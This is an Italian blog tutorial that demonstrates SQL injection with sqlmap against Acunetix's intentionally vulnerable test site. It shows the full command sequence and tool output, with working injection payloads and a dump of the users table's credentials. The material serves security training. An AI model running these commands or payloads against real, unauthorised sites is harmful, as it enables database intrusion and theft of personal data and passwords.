fbpx
sqlmap table

Demo SQL Injection con SQLMAP

  1. Come Hackerare un Sito Web con SQLMAP

Che cos’è una SQL Injection?

Le SQL Injection (o iniezioni SQL) consistono nell’effettuare interrogazioni (o Query) non previste ad un database basato su SQL (Structured Query Lenguage). Tale vulnerabilità si verifica quando il database (lato server) non controlla gli input (lato client) e quindi restituisce informazioni potenzialmente sensibili.

Pertanto un attaccante può effettuare richieste al database per reperire informazioni sensibili (es.username e password) o per alterare il contenuto dello stesso.

Un Tool molto indicato per eseguire attacchi ai database SQL si chiama SQLMAP.

Prerequisiti

  • SQLMAP preinstallato
  • Sistema operativo Linux (preferibilmente “Kali Linux“)
  • Conoscenza basilare dell’SQL

Da dove iniziare?

Innanzitutto trovare un sito potenzialmente vulnerabile. Noi utilizzeremo i siti dell’Acunetix (per non commettere reati).

Rechiamoci al sito http://testphp.vulnweb.com

individuiamo un parametro potenzialmente vulnerabile, nel nostro caso http://testphp.vulnweb.com/listproducts.php?cat=1

verifichiamo la risposta del database applicando una terminazione di parametro con l’apice ” ‘ ” (senza virgolette)

es. http://testphp.vulnweb.com/listproducts.php?cat=1

il sistema risponderà cosi:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 7

Rivelando la tipologia del database “MySQL”

Ovviamente questo è solo un indizio di vulnerabilità, esistono diverse tecniche manuali da poter testare prima di stabilire se trattasi davvero di vulnerabilità di tipo SQL Injection, ma questo lo tratteremo in un altro articolo.

Ora passiamo al tool SQLMAP

Aprire un terminale e digitare il seguente comando

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1

il tool eseguirà una serie di test e restituira il seguente output:

root@Rugged:~# sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201607030a89}
|_ -| . | | | .’| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 20:12:42

[20:12:43] [INFO] resuming back-end DBMS ‘mysql’
[20:12:43] [INFO] testing connection to the target URL
[20:12:43] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:

Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: cat=1 AND 6593=6593

Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: cat=1 AND (SELECT 8347 FROM(SELECT COUNT(*),CONCAT(0x71626a7071,(SELECT (ELT(8347=8347,1))),0x716a6a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cat=1 AND (SELECT * FROM (SELECT(SLEEP(5)))xnKr)

Type: UNION query
Title: Generic UNION query (NULL) – 11 columns
Payload: cat=1 UNION ALL SELECT NULL,CONCAT(0x71626a7071,0x475553676676434b4d57,0x716a6a6b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL–

[20:12:43] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.10
back-end DBMS: MySQL 5.0
[20:12:43] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/testphp.vulnweb.com’

[*] shutting down at 20:12:43

come potete notare SQLMAP ha individuato 4 SQL Injection e mostra anche i Payload utilizzati (siete liberi di testarli)

E’ possibile inoltre reperire il Banner del database aggiungendo al comando precedente “-b”

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -b

l’output sarà

web application technology: Nginx, PHP 5.3.10
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5.0
banner: ‘5.1.73-0ubuntu0.10.04.1’

Ora passiamo all’enumerazione del database con il comando “–dbs”

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –dbs

ecco l’output

[22:47:58] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

abbiamo reperito 2 database, concentriamoci sul primo “acuart” ed enumeriamo le tabelle

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart –tables

ecco il nuovo output

[22:51:25] [INFO] fetching tables for database: ‘acuart’
Database: acuart
[8 tables]
+———–+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+———–+

sono state recuperate 8 tabelle, concentriamoci ora sulla più rilevante “users” ed estraiamo le colonne

digitiamo il nuovo comando

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users –columns

ora abbiamo le 8 colonne della tabella users appartenente al database acuart

Database: acuart
Table: users
[8 columns]
+———+————–+
| Column | Type |
+———+————–+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+———+————–+

come potete vedere sono presenti informazioni personali e di accesso al sito, email, name, pass(word), phone, etc..

estraiamo il cotenuto delle 3 colonne più interessanti, email,name e pass

digitate il comando

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C name,email,pass –dump

Database: acuart
Table: users
[1 entry]
+———————-+—————–+——+
| name                            | email                     | pass |
+———————-+—————–+——+
| Butthead Penisbreath | email@email.com | test |
+———————-+—————–+——+

Voilà abbiamo nome, email e password dell’unico utente presente.

N.B. scaricare interi database o grandi porzioni dei medesimi, può risultare eccessivamente invasivo per il sistema, oltre che essere vistoso, rischiando così mi mandare tutto in down! Per questo nella demo ci siamo concentrati solo sugli elementi più rilevanti ai fini di un furto di credenziali.

In ultimis, tenete presente che questa semplicità applicativa non sempre la troverete in ambienti reali, in quanto l’ambiente di test è “estremamente vulnerabile” mentre un ambiente reale non necessariamente lo è. Quindi non aspettatevi di reperire sempre così tante informazioni durante i pentest.

Questa è solo una breve dimostrazione non esaustiva circa l’utilizzo di SQLMAP.

La demo è da ritenersi puramente a scopo istruttivo. Noi scoraggiamo l’utilizzo improprio di tali tecniche e strumenti. Il furto di informazioni è REATO PENALE!

se avete domande, contattatemi QUI 😉

Grazie per la lettura!

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *